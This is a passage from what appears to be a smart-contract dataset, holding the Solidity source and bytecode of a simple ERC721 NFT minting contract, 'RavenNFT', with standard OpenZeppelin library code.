ffffffffffff1614156110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113496023913960400191505060405180910390fd5b611143816040518060600160405280602681526020016113b0602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c619092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808311829061132e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112f35780820151818401526020810190506112d8565b50505050905090810190601f1680156113205780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161133a57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204e4a1ac610fdf60ee03d432e0cf484d1d619800157d7384ca4b1ae0bbca692bf64736f6c63430006000033
[ 38 ]
0xf2544E829bAaD57DC98b051339CAE7E5CeA50aE7
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract RavenNFT is ERC721, Ownable { uint256 public mintPrice; uint256 public totalSupply; uint256 public maxSupply; uint256 public maxPerWallet; bool public isPublicMintEnabled; string internal baseTokenUri; address payable public withdrawWallet; mapping(address => uint256) public walletMints; constructor() payable ERC721("RavenNFT", "RV") { mintPrice = 0.005 ether; totalSupply = 0; maxSupply = 6666; maxPerWallet = 3; // set withdraw wallet address withdrawWallet = payable(msg.sender); } function setIsPublicMintEnabled(bool isPublicMintEnabled_) external onlyOwner { isPublicMintEnabled = isPublicMintEnabled_; } function setBaseTokenUri(string calldata baseTokenUri_) external onlyOwner { baseTokenUri = baseTokenUri_; } function tokenURI(uint256 tokenId_) public view override returns (string memory) { require(_exists(tokenId_), "Token does not exist!"); return string( abi.encodePacked( baseTokenUri, Strings.toString(tokenId_), "ipfs://QmZqV6BYRXXtuAuLQJ2k2n4WowYXVPstQvg1mb2BS91Xth/ravv.json" ) ); } function withdraw() external onlyOwner { (bool success, ) = withdrawWallet.call{value: address(this).balance}( "" ); require(success, "withdraw failed"); } function mint(uint256 quantity_) public payable { require(isPublicMintEnabled, "minting not enabled"); require(msg.value == quantity_ * mintPrice, "wrong mint value"); require(totalSupply + quantity_ <= maxSupply, "sold out"); require( walletMints[msg.sender] + quantity_ <= maxPerWallet, "exceed max wallet" ); for (uint256 i = 0; i < quantity_; i++) { uint256 newTokenId = totalSupply + 1; totalSupply++; _safeMint(msg.sender, newTokenId); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061019c5760003560e01c806370a08231116100ec578063a22cb4651161008a578063d5abeb0111610064578063d5abeb011461046c578063e985e9c514610482578063f0293fd3146104cb578063f2fde38b146104f857600080fd5b8063a22cb4651461040c578063b88d4fde1461042c578063c87b56dd1461044c57600080fd5b80638da5cb5b116100c65780638da5cb5b146103a657806395652cfa146103c457806395d89b41146103e4578063a0712d68146103f957600080fd5b806370a0823114610351578063715018a61461037157806385d178f41461038657600080fd5b80632373ac221161015957806342842e0e1161013357806342842e0e146102e5578063453c2310146103055780636352211e1461031b5780636817c76c1461033b57600080fd5b80632373ac221461029057806323b872dd146102b05780633ccfd60b146102d057600080fd5b80630116bc2d146101a157806301ffc9a7146101d057806306fdde03146101f0578063081812fc14610212578063095ea7b31461024a57806318160ddd1461026c575b600080fd5b3480156101ad57600080fd5b50600b546101bb9060ff1681565b60405190151581526020015b60405180910390f35b3480156101dc57600080fd5b506101bb6101eb36600461180f565b610518565b3480156101fc57600080fd5b5061020561056a565b6040516101c79190611a49565b34801561021e57600080fd5b5061023261022d3660046118b4565b6105fc565b6040516001600160a01b0390911681526020016101c7565b34801561025657600080fd5b5061026a6102653660046117cc565b610696565b005b34801561027857600080fd5b5061028260085481565b6040519081526020016101c7565b34801561029c57600080fd5b5061026a6102ab3660046117f5565b6107ac565b3480156102bc57600080fd5b5061026a6102cb366004611693565b6107e9565b3480156102dc57600080fd5b5061026a61081a565b3480156102f157600080fd5b5061026a610300366004611693565b6108dc565b34801561031157600080fd5b50610282600a5481565b34801561032757600080fd5b506102326103363660046118b4565b6108f7565b34801561034757600080fd5b5061028260075481565b34801561035d57600080fd5b5061028261036c366004611640565b61096e565b34801561037d57600080fd5b5061026a6109f5565b34801561039257600080fd5b50600d54610232906001600160a01b031681565b3480156103b257600080fd5b506006546001600160a01b0316610232565b3480156103d057600080fd5b5061026a6103df366004611847565b610a2b565b3480156103f057600080fd5b50610205610a61565b61026a6104073660046118b4565b610a70565b34801561041857600080fd5b5061026a6104273660046117a3565b610c04565b34801561043857600080fd5b5061026a6104473660046116ce565b610c0f565b34801561045857600080fd5b506102056104673660046118b4565b610c47565b34801561047857600080fd5b5061028260095481565b34801561048e57600080fd5b506101bb61049d366004611661565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156104d757600080fd5b506102826104e6366004611640565b600e6020526000908152604090205481565b34801561050457600080fd5b5061026a610513366004611640565b610cd8565b60006001600160e01b031982166380ac58cd60e01b148061054957506001600160e01b03198216635b5e139f60e01b145b8061056457506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606000805461057990611bc2565b80601f01602080910402602001604051908101604052809291908181526020018280546105a